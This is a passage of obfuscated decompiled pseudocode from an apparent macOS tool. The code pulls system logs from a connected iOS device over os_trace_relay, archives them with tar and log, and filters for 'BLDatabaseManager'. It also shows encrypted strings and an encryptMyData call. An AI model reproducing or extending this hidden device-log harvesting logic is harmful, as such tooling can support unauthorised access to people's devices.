goto LABEL_957;
case -1398033732:
v8 = 1;
v160 = &OBJC_CLASS___NSData;
v161 = "dataWithContentsOfFile:";
v9 = -1398033732;
v10 = -1985363547;
goto LABEL_979;
case -1390575651:
a2 = 2517795896LL;
a3 = 1081352;
v11 = 0;
v9 = -1794344219;
v12 = -1398033732;
goto LABEL_957;
}
}
else
{
switch ( v170 )
{
case -1448933253:
*v231 = -349137493;
break;
case -1421908990:
*v231 = 1050619131;
break;
case -1419196998:
*v231 = -1124934997;
break;
}
}
}
else if ( v170 <= -1344082392 )
{
switch ( v170 )
{
case -1365092801:
*v231 = -573884611;
break;
case -1359024083:
asc_100279219[0] = 45;
asc_100279219[1] = 45;
asc_100279219[2] = 105;
asc_100279219[3] = 110;
asc_100279219[4] = 102;
asc_100279219[5] = 111;
asc_100279219[6] = 0;
strcpy(aC_9, "[i] Archivo .tar eliminado");
strcpy(asc_1002791F0, "RequestSuccessful");
asc_100278FDA[0] = 65;
asc_100278FDA[1] = 103;
asc_100278FDA[2] = 101;
asc_100278FDA[3] = 76;
asc_100278FDA[4] = 105;
asc_100278FDA[5] = 109;
asc_100278FDA[6] = 105;
asc_100278FDA[7] = 116;
asc_100278FDA[8] = 0;
strcpy(asc_100278F80, "[!] Error al iniciar com.apple.os_trace_relay (%x)");
strcpy(asc_100278F10, "[!] Error leyendo byte inicial (got 0x%02X)");
strcpy(aJ_9, "[i] Byte inicial 0x01 recibido correctamente");
aIO[0] = 91;
aIO[1] = 33;
aIO[2] = 93;
aIO[3] = 32;
aIO[4] = 77;
aIO[5] = 97;
aIO[6] = 114;
aIO[7] = 99;
aIO[8] = 97;
aIO[9] = 100;
aIO[10] = 111;
aIO[11] = 114;
aIO[12] = 32;
aIO[13] = 105;
aIO[14] = 110;
aIO[15] = 118;
aIO[16] = 225;
aIO[17] = 108;
aIO[18] = 105;
aIO[19] = 100;
aIO[20] = 111;
aIO[21] = 58;
aIO[22] = 32;
aIO[23] = 48;
aIO[24] = 120;
aIO[25] = 37;
aIO[26] = 48;
aIO[27] = 50;
aIO[28] = 88;
aIO[29] = 0;
aW_6[0] = 45;
aW_6[1] = 45;
aW_6[2] = 115;
aW_6[3] = 116;
aW_6[4] = 121;
aW_6[5] = 108;
aW_6[6] = 101;
aW_6[7] = 0;
strcpy(asc_100278390, "com.apple.os_trace_relay");
strcpy(aG_14, "[i] Status: RequestSuccessful");
strcpy(asc_100278D42, "/usr/bin/log");
strcpy(aR_7, "/usr/bin/tar");
strcpy(aY_9, "[!] Error creando plist CreateArchive");
asc_100278D64[0] = 115;
asc_100278D64[1] = 121;
asc_100278D64[2] = 115;
asc_100278D64[3] = 108;
asc_100278D64[4] = 111;
asc_100278D64[5] = 103;
asc_100278D64[6] = 0;
strcpy(aZ_7, "--predicate");
asc_100278DED[0] = 83;
asc_100278DED[1] = 116;
asc_100278DED[2] = 97;
asc_100278DED[3] = 116;
asc_100278DED[4] = 117;
asc_100278DED[5] = 115;
asc_100278DED[6] = 0;
strcpy(aU_11, "%@.logarchive");
aS_9[0] = 45;
aS_9[1] = 120;
aS_9[2] = 118;
aS_9[3] = 102;
aS_9[4] = 0;
strcpy(asc_10027823C, "CreateArchive");
strcpy(aApo, "SizeLimit");
aDI[0] = 91;
aDI[1] = 33;
aDI[2] = 93;
aDI[3] = 32;
aDI[4] = 69;
aDI[5] = 114;
aDI[6] = 114;
aDI[7] = 111;
aDI[8] = 114;
aDI[9] = 32;
aDI[10] = 108;
aDI[11] = 101;
aDI[12] = 121;
aDI[13] = 101;
aDI[14] = 110;
aDI[15] = 100;
aDI[16] = 111;
aDI[17] = 32;
aDI[18] = 116;
aDI[19] = 97;
aDI[20] = 109;
aDI[21] = 97;
aDI[22] = 241;
aDI[23] = 111;
aDI[24] = 32;
aDI[25] = 100;
aDI[26] = 101;
aDI[27] = 108;
aDI[28] = 32;
aDI[29] = 112;
aDI[30] = 108;
aDI[31] = 105;
aDI[32] = 115;
aDI[33] = 116;
a3 = 4294967230LL;
aDI[34] = 0;
aLJ[0] = 37;
aLJ[1] = 64;
aLJ[2] = 46;
aLJ[3] = 116;
aLJ[4] = 120;
aLJ[5] = 116;
aLJ[6] = 0;
asc_100278FB6[0] = 45;
asc_100278FB6[1] = 67;
asc_100278FB6[2] = 0;
strcpy(asc_100278C6A, "--archive");
aKdcjd[0] = 45;
aKdcjd[1] = 45;
aKdcjd[2] = 100;
aKdcjd[3] = 101;
aKdcjd[4] = 98;
aKdcjd[5] = 117;
aKdcjd[6] = 103;
aKdcjd[7] = 0;
asc_100278C79[0] = 115;
asc_100278C79[1] = 104;
asc_100278C79[2] = 111;
asc_100278C79[3] = 119;
asc_100278C79[4] = 0;
strcpy(aA_10, "message CONTAINS \"BLDatabaseManager\"");
LODWORD(v6) = -60;
asc_100278CB0[0] = 91;
asc_100278CB0[1] = 105;
asc_100278CB0[2] = 93;
*v231 = -347502385;
break;
case -1350569357:
a3 = 3881833170LL;
v24 = 1;
v9 = -1344082391;
LABEL_719:
v25 = 1011909678;
goto LABEL_972;
}
}
else if ( v170 > -1336958898 )
{
if ( v170 == -1336958897 )
{
v45 = -1291039218;
if ( v222 )
v45 = 1235998592;
LODWORD(v6) = (_DWORD)v231;
*v231 = v45;
format = (NSString *)CFSTR("s\xEE\xA9\x4D\xC7\x6A\x05\xDD\x1D \xF7\xDE\xEA\xF4\xE1\x60\x80]y\x82Y\xC9\xD9\xC5\xF6H");
}
else if ( v170 == -1328817182 )
{
a3 = 1335878194;
v24 = 0;
v9 = -2147174945;
v25 = 235288289;
goto LABEL_972;
}
}
else
{
if ( v170 == -1344082391 )
{
objc_release(v156);
objc_release(v155);
objc_release(v154);
objc_release(v174);
v24 = 1;
v157 = &OBJC_CLASS___NSFileManager;
v186 = "defaultManager";
v9 = -2042314253;
goto LABEL_719;
}
if ( v170 == -1339547652 )
{
v11 = !v211;
v9 = 2025693910;
v12 = 1678179393;
goto LABEL_957;
}
}
}
if ( v170 > 1003162424 )
break;
if ( v170 <= 462524515 )
{
if ( v170 > 120003219 )
{
if ( v170 <= 280374565 )
{
if ( v170 > 223107576 )
{
if ( v170 > 239947762 )
{
switch ( v170 )
{
case 239947763:
strcpy(asc_10027922A, "StartTime");
LOBYTE(v7) = -99;
LODWORD(v6) = v7;
*v231 = 2105245461;
break;
case 249304591:
objc_release(v193);
v8 = 0;
v9 = -1964588519;
v10 = 2066461914;
goto LABEL_979;
case 251862132:
v40 = encryptMyData(v187);
gAldazU = objc_retainAutoreleasedReturnValue(v40);
*v231 = -368565777;
break;
}
}
else
{
switch ( v170 )
{
case 223107577:
objc_release(v196);
v11 = 0;
v9 = 223107577;
v12 = 347405216;
goto LABEL_957;
case 231080891:
a2 = 4244224286LL;
a3 = 681878794;
v218 = v229 == 3;
v24 = 1;
v9 = 734166070;
v25 = 231080891;
goto LABEL_972;
case 235288289:
objc_release(v159);
objc_release(v200);
objc_release(v201);
objc_release(v199);
objc_release(v207);
v8 = 1;
v9 = -2147174945;
v10 = -763361471;
goto LABEL_979;
}
}
}
else if ( v170 > 182823908 )
{
switch ( v170 )
{
case 182823909:
*(_DWORD *)v177 = _byteswap_ulong(v172);
a2 = (__int64)v177;
AMDServiceConnectionSend(*v230);
HikariFunctionWrapper_17017(theData);
*v231 = -1074883634;
break;
case 189713898:
*v231 = -1505026045;
break;
case 220554165:
*v231 = -1678065762;
break;
}
}
else
{
switch ( v170 )
{
case 120003220:
v11 = !v209;
v9 = -177959290;
v12 = 852354171;
goto LABEL_957;
case 122308437:
v70 = objc_msgSend(v140, "numberWithUnsignedLongLong:", v176);
v71 = objc_retainAutoreleasedReturnValue(v70);
a2 = (__int64)v198;
objc_msgSend(v204, v198, v71, CFSTR("[aPo^\xB6\xBAԹ^"));
objc_release(v71);
v8 = 0;
v9 = -504100384;
v10 = -883307420;
goto LABEL_979;
case 169461453:
*(_BYTE *)v203 = 0;
a2 = (__int64)v203;
AMDServiceConnectionReceive(*v230);
*v231 = -555570331;
break;
}
}
}
else if ( v170 <= 359873365 )
{
if ( v170 > 301598773 )
{
switch ( v170 )
{
case 301598774:
*v231 = 1700593003;
break;
case 312843879:
v8 = 1;
v9 = 312843879;
v10 = 1838191735;
goto LABEL_979;
case 347405216:
*v231 = 646166747;
break;
}
}
else
{
switch ( v170 )
{
case 280374566:
a3 = 4105863893LL;
v8 = 0;
v9 = 1923102109;
v10 = -1314924419;
goto LABEL_979;
case 288700635:
a2 = 2551323746LL;
HikariFunctionWrapper_17001(CFSTR("\xD4\x145|\xD6\xCD\xB7N\x15F\f2\xF1\x1Buם\xEE\xB9\x73\x02\xF4\x11\x2C\xA9\xB4\x16\xD2\x36ǭ"));
v8 = 0;
v9 = -1528649145;
v10 = 288700635;
goto LABEL_979;
case 299359784:
a2 = (__int64)"objectForKeyedSubscript:";
v38 = objc_msgSend(v193, "objectForKeyedSubscript:", CFSTR("\xC5\xE82\x8E\xC8\x5F\x1F"));
v39 = objc_retainAutoreleasedReturnValue(v38);
v8 = 0;
v184 = v39;
v9 = 661902452;
v10 = 1456188876;
goto LABEL_979;
}
}
}
else if ( v170 <= 447633738 )
{
switch ( v170 )
{
case 359873366:
v11 = 0;
v9 = 1373061619;
v12 = 2042186136;
goto LABEL_957;
case 375957560:
v8 = 0;
v9 = -856137428;
v10 = 375957560;
goto LABEL_979;
case 420512950:
v24 = 1;
v9 = 578905730;
v25 = -1976321081;
goto LABEL_972;
}
}
else if ( v170 > 455836239 )
{
if ( v170 == 455836240 )
{
*v230 = 0;
a2 = (__int64)CFSTR("\xF9\xE4\x46\xF2\xB7\x03\xAFN\xCC\x69a\x04\x82E+\xF2\x56\x1B\x5A\xF6\x61\xB3\xEF\x87");
HikariFunctionWrapper_17003(v166);
*v231 = -1101836800;
}
else if ( v170 == 461979285 )
{
*v231 = -127527853;
}
}
else if ( v170 == 447633739 )
{
*v231 = -68639970;
}
else if ( v170 == 451728553 )
{
a3 = 622420707;
v11 = 0;
v9 = -310837913;
v12 = -170960279;
goto LABEL_957;
}
}
else if ( v170 <= -9963637 )
{
if ( v170 > -81686462 )
{
if ( v170 > -68482443 )
{
switch ( v170 )
{
case -68482442:
v57 = objc_msgSend(v157, v186);
v58 = objc_retainAutoreleasedReturnValue(v57);
objc_msgSend(v58, "removeItemAtPath:error:", v207, 0);
HikariFunctionWrapper_17039(
v58,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:");
v59 = HikariFunctionWrapper_17041((objc_class *)&OBJC_CLASS___NSTask);
v60 = HikariFunctionWrapper_17043(v59, "init");
HikariFunctionWrapper_17045(v60, "setLaunchPath:");
*v205 = (__int64)CFSTR("s\xD6\xC9,\xFD");
v205[1] = (__int64)v5;
v205[2] = (__int64)CFSTR("\xEB\x6F\xFF");
v205[3] = (__int64)v207;
v61 = HikariFunctionWrapper_17047(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
v62 = objc_retainAutoreleasedReturnValue(v61);
objc_msgSend(v60, "setArguments:", v62);
objc_release(v62);
v63 = HikariFunctionWrapper_17049(&OBJC_CLASS___NSPipe, "pipe");
v64 = objc_retainAutoreleasedReturnValue(v63);
HikariFunctionWrapper_17051(v60, "setStandardOutput:");
v5 = v165;
objc_release(v64);
v65 = +[NSPipe pipe](&OBJC_CLASS___NSPipe, "pipe");
v66 = objc_retainAutoreleasedReturnValue(v65);
HikariFunctionWrapper_17053(v60, "setStandardError:");
objc_release(v66);
objc_msgSend(v60, "launch");
objc_msgSend(v60, "waitUntilExit");
a2 = (__int64)"terminationStatus";
HikariFunctionWrapper_17055(v60, "terminationStatus");
*v231 = 474433290;
break;
case -65743911:
*v231 = 359873366;
break;
case -52120371:
a3 = 256202459;
v8 = 1;
v148 = "dataWithBytesNoCopy:length:freeWhenDone:";
v9 = 1230927078;
v10 = 960142460;
goto LABEL_979;
}
}
else
{
switch ( v170 )
{
case -81686461:
v11 = !v210;
v9 = -513650962;
v12 = 1003162425;
goto LABEL_957;
case -75317003:
*v231 = -533813596;
break;
case -68639970:
v24 = 1;
v9 = -1014439301;
v25 = -68639970;
goto LABEL_972;
}
}
}
else if ( v170 > -121017982 )
{
switch ( v170 )
{
case -121017981:
a2 = 52250;
a3 = 35848;
v11 = 0;
v9 = 251862132;
v12 = -368565777;
goto LABEL_957;
case -101679610:
v72 = HikariFunctionWrapper_16977(v152, v148);
v73 = objc_retainAutoreleasedReturnValue(v72);
a2 = (__int64)v149;
HikariFunctionWrapper_16979(v196, v149);
objc_release(v73);
v24 = 0;
*(_BYTE *)v203 = 0;
v153 = *v230;
v9 = -101679610;
v25 = -1539226090;
goto LABEL_972;
case -89316860:
*v178 = 0;
a2 = (__int64)v195;
objc_msgSend(v199, v195, v5, v178);
*v231 = 624623815;
break;
}
}
else
{
switch ( v170 )
{
case -127527853:
v24 = 1;
v9 = 1852087263;
v25 = 1278468302;
goto LABEL_972;
case -123075128:
objc_retain(v175);
objc_release(v136);
v69 = objc_msgSend(&OBJC_CLASS___NSFileManager, v186);
v162 = objc_retainAutoreleasedReturnValue(v69);
a2 = (__int64)v195;
objc_msgSend(v162, v195, v200, 0);
*v231 = -574795635;
break;
case -121958561:
a2 = (__int64)v198;
HikariFunctionWrapper_17011(v204, v198);
objc_release(v180);
*v231 = -853955927;
break;
}
}
}
else if ( v170 <= 44003547 )
{
if ( v170 > 26496531 )
{
switch ( v170 )
{
case 26496532:
v24 = 0;
v9 = 26496532;
v25 = -906156984;
goto LABEL_972;
case 33426991:
*v231 = 2030851408;
break;
case 39636345:
a2 = 608631656;
a3 = 1853122752;
v226 = v225 == 0;
v8 = 0;
v9 = 977955650;
v10 = -1866641982;
goto LABEL_979;
}
}
else
{
switch ( v170 )
{
case -9963636:
*v231 = -585795685;
break;
case 5239153:
v24 = 1;
v9 = -1880695074;
v25 = 866112138;
goto LABEL_972;
case 21490973:
a2 = 302430376;
a3 = 1117895968;
v8 = 0;
v9 = 375957560;
v10 = 1035689521;
goto LABEL_979;
}
}
}
else if ( v170 <= 51677283 )
{
switch ( v170 )
{
case 44003548:
v24 = 0;
v141 = &OBJC_CLASS___NSNumber;
v142 = "numberWithInt:";
v9 = -1118961754;
v25 = -654235449;
goto LABEL_972;
case 44374684:
*v231 = 1794965330;
break;
case 51257033:
*v231 = -1734246764;
break;
}
}
else if ( v170 > 83878874 )
{
if ( v170 == 83878875 )
{
*v231 = 26496532;
}
else if ( v170 == 113411525 )
{
a2 = (__int64)v198;
HikariFunctionWrapper_17005(v204, v198);
*v231 = 1990959588;
}
}
else if ( v170 == 51677284 )
{
*v231 = 1044194069;
}
else if ( v170 == 69027016 )
{
v11 = 0;
v9 = -1277919973;
v12 = -265102805;
goto LABEL_957;
}
}
else if ( v170 <= 697373327 )
{
if ( v170 <= 568079126 )
{
if ( v170 > 530136181 )
{
if ( v170 > 549700079 )
{
switch ( v170 )
{
case 549700080:
a2 = (__int64)v190;
v13 = HikariFunctionWrapper_16961(*v230) == 4;
v9 = 420512950;
v14 = -222764696;
goto LABEL_962;
case 564269321:
*v231 = 906268479;
break;
case 567166184:
a3 = 71337387;
v13 = 0;
v9 = 2043463410;
v14 = -1037547317;
goto LABEL_962;
}
}
else
{
switch ( v170 )
{
case 530136182:
*v231 = 1712700922;
break;
case 544363768:
*v231 = -1730349361;
break;
case 547221212:
NSLog(CFSTR("\xD4\x145|\xD6\xCD\xB7N\x15F\f2\xF1\x1Buם\xEE\xB9\x73\x02\xF4\x11\x2C\xA9\xB4\x16\xD2\x36ǭ"));
*v231 = 288700635;
break;
}
}
}
else if ( v170 > 475136914 )
{
switch ( v170 )
{
case 475136915:
objc_msgSend(v196, "closeFile");
AMDServiceConnectionInvalidate(*v230, "closeFile", v46);
v47 = HikariFunctionWrapper_16981();
v174 = objc_retainAutoreleasedReturnValue(v47);
v122 = "UUID";
v48 = HikariFunctionWrapper_16983(&OBJC_CLASS___NSUUID, "UUID");
v154 = objc_retainAutoreleasedReturnValue(v48);
v123 = "UUIDString";
v49 = objc_msgSend(v154, "UUIDString");
v155 = objc_retainAutoreleasedReturnValue(v49);
v124 = "stringWithFormat:";
v50 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("Ũ\x93\xEE\xB4\x0E\x1Chr;\xDC\x61{\xFC"),
v155);
v156 = objc_retainAutoreleasedReturnValue(v50);
a2 = (__int64)"stringByAppendingPathComponent:";
v125 = "stringByAppendingPathComponent:";
v51 = HikariFunctionWrapper_16985(v174, "stringByAppendingPathComponent:");
v207 = objc_retainAutoreleasedReturnValue(v51);
*v231 = -1501765462;
break;
case 511251685:
a2 = 167737315;
a3 = 4154182940LL;
v24 = 0;
v9 = -562062485;
v25 = -2027716847;
goto LABEL_972;
case 512632348:
a2 = (__int64)"isEqualToString:";
v215 = (unsigned __int8)HikariFunctionWrapper_16967(v184, "isEqualToString:") == 0;
objc_release(v184);
v13 = 0;
v9 = 1335031690;
v14 = 1426585117;
goto LABEL_962;
}
}
else
{
switch ( v170 )
{
case 462524516:
v11 = !v217;
v9 = -2072372382;
LABEL_755:
v12 = -1554786454;
goto LABEL_957;
case 470732079:
HikariFunctionWrapper_17019();
*v231 = -1690117439;
break;
case 474433290:
v16 = objc_msgSend(v157, v186);
v199 = objc_retainAutoreleasedReturnValue(v16);
v195 = "removeItemAtPath:error:";
objc_msgSend(v199, "removeItemAtPath:error:", v207, 0);
objc_msgSend(
v199,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:",
v207,
1,
0,
0);
v17 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v126 = "init";
v201 = objc_msgSend(v17, "init");
v127 = "setLaunchPath:";
objc_msgSend(v201, "setLaunchPath:", CFSTR("R\a\xBA\n레\xB3\xF9\xA2[\xCD\x7B"));
*v205 = (__int64)CFSTR("s\xD6\xC9,\xFD");
v205[1] = (__int64)v5;
v205[2] = (__int64)CFSTR("\xEB\x6F\xFF");
v205[3] = (__int64)v207;
v128 = "arrayWithObjects:count:";
v18 = +[NSArray arrayWithObjects:count:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:count:",
v205,
4);
v19 = objc_retainAutoreleasedReturnValue(v18);
v129 = "setArguments:";
objc_msgSend(v201, "setArguments:", v19);
objc_release(v19);
v158 = "pipe";
v20 = +[NSPipe pipe](&OBJC_CLASS___NSPipe, "pipe");
v21 = objc_retainAutoreleasedReturnValue(v20);
v130 = "setStandardOutput:";
objc_msgSend(v201, "setStandardOutput:", v21);
objc_release(v21);
v22 = objc_msgSend(&OBJC_CLASS___NSPipe, v158);
v23 = objc_retainAutoreleasedReturnValue(v22);
v131 = "setStandardError:";
HikariFunctionWrapper_16987(v201, "setStandardError:");
objc_release(v23);
v132 = "launch";
objc_msgSend(v201, "launch");
v133 = "waitUntilExit";
HikariFunctionWrapper_16989(v201, "waitUntilExit");
a2 = (__int64)"terminationStatus";
v134 = "terminationStatus";
v222 = (unsigned int)objc_msgSend(v201, "terminationStatus") == 0;
v24 = 1;
v9 = -1336958897;
v25 = 474433290;
goto LABEL_972;
}
}
}
else if ( v170 <= 631295390 )
{
if ( v170 > 585289559 )
{
switch ( v170 )
{
case 585289560:
*v231 = 646166747;
break;
case 617527027:
AMDServiceConnectionInvalidate(v143, a2, a3);
*v231 = 2114890441;
break;
case 624623815:
*v178 = 0;
a2 = (__int64)v195;
v41 = (unsigned __int8)objc_msgSend(v199, v195, v5, v178);
v11 = 0;
v223 = v41;
v9 = 624623815;
v12 = -1163601755;
goto LABEL_957;
}
}
else
{
switch ( v170 )
{
case 568079127:
a2 = 3758681648LL;
a3 = 2147494960LL;
v13 = 0;
v9 = 231080891;
v14 = -274698249;
goto LABEL_962;
case 573326709:
*v231 = -1414175135;
break;
case 578905730:
NSLog(CFSTR("橄㦊玽鉁鏔ϑ㋍簬쉵襒ད埨ইཌྷ循氂籠秊쮒꙰뱆᧺ᣖ憋㱭伳\u3097"));
v8 = 1;
v144 = *v230;
v9 = 578905730;
v10 = -1419196998;
goto LABEL_979;
}
}
}
else if ( v170 <= 654636324 )
{
switch ( v170 )
{
case 631295391:
*v231 = -1028659439;
break;
case 646166747:
v13 = 0;
v9 = 249304591;
v14 = 2066461914;
goto LABEL_962;
case 652218532:
HikariFunctionWrapper_16959(&cfstr_Y_9.isa);
v24 = 1;
v9 = 783493000;
v25 = 652218532;
goto LABEL_972;
}
}
else if ( v170 > 674499864 )
{
if ( v170 == 674499865 )
{
v24 = 1;
v9 = -935684489;
v25 = -376937671;
goto LABEL_972;
}
if ( v170 == 697319006 )
*v231 = -1005101608;
}
else
{
if ( v170 == 654636325 )
{
v8 = 0;
v9 = 512632348;
v10 = 1426585117;
goto LABEL_979;
}
if ( v170 == 661902452 )
*v231 = 1487063100;
}
}
else if ( v170 > 852354170 )
{
if ( v170 <= 936734165 )
{
if ( v170 > 898785027 )
{
switch ( v170 )
{
case 898785028:
a2 = 281725152;
a3 = 3424723988LL;
v24 = 1;
v9 = 1107689199;
v25 = 1774570341;
goto LABEL_972;
case 906268479:
a3 = 113314672;
v8 = 1;
v9 = 906268479;
v10 = -1448933253;
goto LABEL_979;
case 936159412:
*v231 = -304584525;
break;
}
}
else
{
switch ( v170 )
{
case 852354171:
a3 = 954314257;
v11 = 0;
v9 = -2138540019;
v12 = -1185085780;
goto LABEL_957;
case 866112138:
a2 = v188;
NSLog(
CFSTR("ِ澧\uA95D偀ﷇﴟ㉾\u2EFCꫢ쒝᳛Օ鳞滑䀭\x2B\xDC蛵뺌턙艂ᰧ竬ᮘꊧ垁䈄\x9D\xD9\x57\x36Щ칞"),
v188);
*v231 = -1880695074;
break;
case 893521270:
v146 = *v230;
*v231 = -1534235034;
break;
}
}
}
else if ( v170 <= 977955649 )
{
switch ( v170 )
{
case 936734166:
a2 = 2062289608;
a3 = 2062289608;
v11 = 0;
v9 = 936734166;
v12 = 1305484679;
goto LABEL_957;
case 960142460:
*v231 = -1505620103;
break;
case 975870982:
v208 = v168 == 0;
*v231 = -1757835944;
break;
}
}
else if ( v170 > 992743157 )
{
if ( v170 == 992743158 )
{
v8 = 0;
*(_DWORD *)v191 = 0;
v121 = *v230;
v9 = -462885515;
v10 = -1524688848;
goto LABEL_979;
}
if ( v170 == 994111956 )
*v231 = -550757512;
}
else
{
if ( v170 == 977955650 )
{
v11 = !v226;
v9 = -1574437790;
v12 = -1390575651;
goto LABEL_957;
}
if ( v170 == 979965810 )
{
a2 = 1889341572;
a3 = 67658752;
v8 = 0;
*v190 = 0;
v9 = -1847526152;
v10 = -447766881;
goto LABEL_979;
}
}
}
else if ( v170 <= 775896337 )
{
if ( v170 > 734166069 )
{
switch ( v170 )
{
case 734166070:
*v231 = -470911224;
break;
case 738119531:
*v231 = -1457650832;
break;
case 755058199:
a3 = 42847585;
v24 = 1;
v168 = dword_10029F510;
v9 = 1162162565;
v25 = 755058199;
goto LABEL_972;
}
}
else
{
switch ( v170 )
{
case 697373328:
v74 = objc_msgSend(v118, v119);
v75 = objc_retainAutoreleasedReturnValue(v74);
HikariFunctionWrapper_16973(v75, "createFileAtPath:contents:attributes:");
objc_release(v75);
a2 = (__int64)v147;
v76 = objc_msgSend(&OBJC_CLASS___NSFileHandle, v147, v5);
v120 = objc_retainAutoreleasedReturnValue(v76);
*v231 = -1022043397;
break;
case 700513467:
a3 = 2636542815LL;
v13 = 0;
v9 = -853955927;
v14 = -121958561;
goto LABEL_962;
case 716097796:
*v231 = -1974561936;
break;
}
}
}
else if ( v170 <= 802070599 )
{
switch ( v170 )
{
case 775896338:
*v231 = 1474479661;
break;
case 783493000:
*v231 = -486213958;
break;
case 794110172:
*v231 = -736115092;
break;
}
}
else if ( v170 > 826678422 )
{
if ( v170 == 826678423 )
{
a2 = (__int64)v203;
v221 = AMDServiceConnectionReceive(v153) <= 0;
v8 = 0;
v9 = -682516281;
goto LABEL_715;
}
if ( v170 == 844983625 )
{
v43 = malloc(__size);
v24 = 1;
v194 = v43;
v150 = *v230;
v9 = -981952412;
goto LABEL_653;
}
}
else if ( v170 == 802070600 )
{
objc_release(v175);
objc_release(v162);
*v231 = 1670104918;
}
else if ( v170 == 805686161 )
{
*v231 = 1071932043;
}
}
if ( v170 <= 1555867524 )
break;
if ( v170 <= 1848199920 )
{
if ( v170 <= 1736074040 )
{
if ( v170 > 1651596246 )
{
if ( v170 > 1678179392 )
{
switch ( v170 )
{
case 1678179393:
a3 = 1345094754;
v8 = 1;
v9 = -1118961754;
v10 = 44003548;
goto LABEL_979;
case 1700593003:
a3 = 1120431485;
v8 = 1;
v9 = 182823909;
v10 = -1074883634;
goto LABEL_979;
case 1712700922:
a3 = 3854994450LL;
a2 = 2183421248LL;
v13 = 0;
v9 = -1883991900;
v14 = 1712700922;
goto LABEL_962;
}
}
else
{
switch ( v170 )
{
case 1651596247:
a2 = v228;
NSLog(
CFSTR("]\xC5\x6A\x05U\xD5\x20\xC6\x4DC\xF0\xAF\x62\x58\xE0\xD2\x5F]7\x9FJGM\xD6\x66Z\x1B\xA2\t\x98\xDB\xCE>\xA3\x10WIr)\xBBd"),
v228);
v143 = *v230;
*v231 = 573326709;
break;
case 1653158926:
*v231 = -1970731632;
break;
case 1670104918:
objc_release(v175);
objc_release(v162);
v11 = 0;
v9 = 1670104918;
v12 = 2132272100;
goto LABEL_957;
}
}
}
else if ( v170 > 1603470693 )
{
switch ( v170 )
{
case 1603470694:
a3 = 576242136;
v8 = 0;
v9 = 474433290;
v10 = -68482442;
goto LABEL_979;
case 1613227230:
a3 = 1092266910;
v8 = 1;
v9 = -1080015796;
v10 = -1459830576;
goto LABEL_979;
case 1622712517:
v8 = 0;
v9 = 826678423;
LABEL_715:
v10 = -954438840;
goto LABEL_979;
}
}
else
{
switch ( v170 )
{
case 1555867525:
*error = 0;
allocator = (CFAllocatorRef)-1LL;
a2 = (__int64)v204;
v56 = CFPropertyListCreateData(
(CFAllocatorRef)0xFFFFFFFFFFFFFFFFLL,
v204,
kCFPropertyListXMLFormat_v1_0,
0,
error);
v213 = v56 == 0;
theData = v56;
*v231 = 1092166129;
break;
case 1589207367:
v24 = 0;
v9 = 1011211259;
v25 = 312843879;
goto LABEL_972;
case 1591234902:
HikariFunctionWrapper_17035(v196, "closeFile");
AMDServiceConnectionInvalidate(*v230, "closeFile", v26);
v27 = NSTemporaryDirectory();
v28 = objc_retainAutoreleasedReturnValue(v27);
v29 = +[NSUUID UUID](&OBJC_CLASS___NSUUID, "UUID");
v30 = objc_retainAutoreleasedReturnValue(v29);
v31 = HikariFunctionWrapper_17037(v30, "UUIDString");
v32 = objc_retainAutoreleasedReturnValue(v31);
v33 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("Ũ\x93\xEE\xB4\x0E\x1Chr;\xDC\x61{\xFC"),
v32);
v34 = objc_retainAutoreleasedReturnValue(v33);
a2 = (__int64)"stringByAppendingPathComponent:";
v35 = -[NSString stringByAppendingPathComponent:](
v28,
"stringByAppendingPathComponent:",
v34);
objc_retainAutoreleasedReturnValue(v35);
*v231 = 475136915;
break;
}
}
}
else if ( v170 <= 1794965329 )
{
if ( v170 > 1774570340 )
{
switch ( v170 )
{
case 1774570341:
*v231 = 898785028;
break;
case 1786610602:
*v231 = 39636345;
break;
case 1794295167:
goto LABEL_500;
}
}
else
{
switch ( v170 )
{
case 1736074041:
objc_release(v204);
*v231 = -2080236448;
break;
case 1747380703:
*v231 = -861470375;
break;
case 1759657767:
*v231 = 1049084651;
break;
}
}
}
else if ( v170 <= 1819556122 )
{
switch ( v170 )
{
case 1794965330:
AMDServiceConnectionSend(v113);
CFRelease(theData);
*v171 = 0;
v104 = AMDServiceConnectionReceive(*v230);
LODWORD(v6) = (_DWORD)v171;
a3 = 3516758446LL;
a2 = 1191269045;
if ( *v171 != 1 )
a3 = 1191269045;
v228 = *v171;
if ( v104 != 1 )
a3 = 1191269045;
*v231 = a3;
break;
case 1796146627:
*v231 = -1914546963;
break;
case 1817405317:
*v231 = 544363768;
break;
}
}
else if ( v170 > 1830149127 )
{
if ( v170 == 1830149128 )
{
LABEL_702:
*v231 = -1554786454;
}
else if ( v170 == 1838191735 )
{
v11 = !v212;
v9 = 1098626483;
v12 = 1236979223;
goto LABEL_957;
}
}
else if ( v170 == 1819556123 )
{
*v231 = 1549409089;
}
else if ( v170 == 1827102346 )
{
a3 = 134252632;
v11 = 0;
v9 = 1102410533;
v12 = 1794295167;
goto LABEL_957;
}
}
else if ( v170 > 2029345218 )
{
if ( v170 <= 2093375372 )
{
if ( v170 > 2043463409 )
{
switch ( v170 )
{
case 2043463410:
a2 = (__int64)v194;
v151 = AMDServiceConnectionReceive(v150);
v6 = *(unsigned int *)v191;
v220 = v151 == v6;
*v231 = 1388978421;
break;
case 2066461914:
objc_release(v193);
*v231 = 249304591;
break;
case 2076544609:
v24 = 0;
v9 = -2124438380;
LABEL_653:
v25 = 844983625;
goto LABEL_972;
}
}
else
{
switch ( v170 )
{
case 2029345219:
a2 = (__int64)v142;
v100 = objc_msgSend(v141, v142, v197);
v101 = objc_retainAutoreleasedReturnValue(v100);
v8 = 0;
v180 = v101;
v9 = -1314918472;
v10 = -1925640617;
goto LABEL_979;
case 2030851408:
a2 = (__int64)"fileHandleForWritingAtPath:";
v147 = "fileHandleForWritingAtPath:";
v102 = objc_msgSend(v116, "fileHandleForWritingAtPath:", v5);
v103 = objc_retainAutoreleasedReturnValue(v102);
v216 = v103 == 0;
v117 = v103;
*v231 = -704827510;
break;
case 2042186136:
a3 = 4223348709LL;
v11 = 0;
v9 = 2042186136;
v12 = 1130532609;
goto LABEL_957;
}
}
}
else if ( v170 <= 2105245460 )
{
switch ( v170 )
{
case 2093375373:
a3 = 1015140054;
